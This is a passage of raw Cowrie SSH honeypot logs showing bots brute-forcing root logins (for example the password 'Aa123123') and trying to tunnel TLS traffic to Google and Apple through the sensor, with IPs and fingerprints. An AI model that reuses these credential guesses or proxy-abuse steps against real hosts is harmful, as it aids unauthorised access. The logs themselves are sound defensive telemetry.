\\xd0\\xaf\\xe6\\x82n\\xaa\\xe0\\xd7\\xb5f*:J\\x9b\\x9c\\xfe\\xd14\\x0b\\xd8\\n\\xd5_\\n\\xb6\\xaa\\xed\\x00\\x90c\\x9a\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x00L\\x8e\\xda\\x90\\xf6\\xe6\\x88{\\xc2\\x88*\\xffM\\xfe\\xb2\\x81\\xf7\\x1dA\\xd1\\xb1\\xc0d\\xba{\\t\\x1f;\\xa56\\x1d\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:25.789351Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"80.94.95.118","src_port":35816,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:35816","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:27.458296Z","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:28.023321Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\xca\\xf5\\xfb\\x92\\xfe\\xde\\xe7\\x17\\xe9q\\x1b\\xdeO\\xdd\\xb3\\xcf\\x96_\\xb2\\xbbG\\x8e\\xffu\\xca\\xd7\\x81~\\x95E/  V\\xc2\\xce\\xde\\xdc\\xc2\\xf9@\\x01\\x19\\xaev\\xaf\\x96s\\x1c4>j\\xc8\\xf2`\\xdb<EUl\\n}\\x92\\x80\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd8\\xff6rO\\x1c\\x10mW\\xfa\\x9d\\xd5*\\xbd\\xb6\\x9b\\xcc\\xd4\\x19\\x13-\\x96}\\x9e\\xc6{;>\\xbd\\x1f\\x02\\t\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.155.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\xca\\xf5\\xfb\\x92\\xfe\\xde\\xe7\\x17\\xe9q\\x1b\\xdeO\\xdd\\xb3\\xcf\\x96_\\xb2\\xbbG\\x8e\\xffu\\xca\\xd7\\x81~\\x95E/  V\\xc2\\xce\\xde\\xdc\\xc2\\xf9@\\x01\\x19\\xaev\\xaf\\x96s\\x1c4>j\\xc8\\xf2`\\xdb<EUl\\n}\\x92\\x80\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd8\\xff6rO\\x1c\\x10mW\\xfa\\x9d\\xd5*\\xbd\\xb6\\x9b\\xcc\\xd4\\x19\\x13-\\x96}\\x9e\\xc6{;>\\xbd\\x1f\\x02\\t\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:28.026752Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:28.173610Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":38038,"dst_ip":"159.203.135.109","dst_port":22,"session":"6384bd38edce","protocol":"ssh","message":"New connection: 185.156.73.233:38038 (159.203.135.109:22) [session: 6384bd38edce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:08.573230Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":56430,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c25b43d828","protocol":"ssh","message":"New connection: 185.156.73.233:56430 (10.17.0.5:22) [session: b7c25b43d828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:09.161632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:09.371026Z","src_ip":"185.156.73.233","session":"6384bd38edce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:09.449208Z","src_ip":"185.156.73.233","session":"6384bd38edce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:10.000419Z","src_ip":"185.156.73.233","session":"6384bd38edce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.217.171.110","dst_port":443,"src_ip":"185.156.73.233","src_port":0,"message":"direct-tcp connection request to 172.217.171.110:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:10.233218Z","session":"6384bd38edce","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:10.437117Z","src_ip":"185.156.73.233","session":"b7c25b43d828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:10.519165Z","src_ip":"185.156.73.233","session":"b7c25b43d828","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.217.171.110","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 172.217.171.110:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:10.656755Z","src_ip":"185.156.73.233","session":"6384bd38edce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"185.156.73.233","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:10.877597Z","session":"6384bd38edce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:11.068966Z","src_ip":"185.156.73.233","session":"6384bd38edce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:11.552963Z","src_ip":"185.156.73.233","session":"b7c25b43d828","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.217.171.110","dst_port":443,"src_ip":"185.156.73.233","src_port":0,"message":"direct-tcp connection request to 172.217.171.110:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:11.656107Z","session":"b7c25b43d828","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.217.171.110","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 172.217.171.110:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:11.865068Z","src_ip":"185.156.73.233","session":"b7c25b43d828","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"185.156.73.233","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:12.149788Z","session":"b7c25b43d828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:42:12.249614Z","src_ip":"185.156.73.233","session":"b7c25b43d828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43866,"dst_ip":"10.17.0.5","dst_port":22,"session":"220301183474","protocol":"ssh","message":"New connection: 2.57.122.208:43866 (10.17.0.5:22) [session: 220301183474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:08.931602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:08.936347Z","src_ip":"2.57.122.208","session":"220301183474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:09.041429Z","src_ip":"2.57.122.208","session":"220301183474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:09.362772Z","src_ip":"2.57.122.208","session":"220301183474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:10.474717Z","src_ip":"2.57.122.208","session":"220301183474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.107.139.205","src_port":59614,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4416deb6a67","protocol":"ssh","message":"New connection: 118.107.139.205:59614 (10.17.0.5:22) [session: f4416deb6a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:44.929847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:44.934576Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:45.146115Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
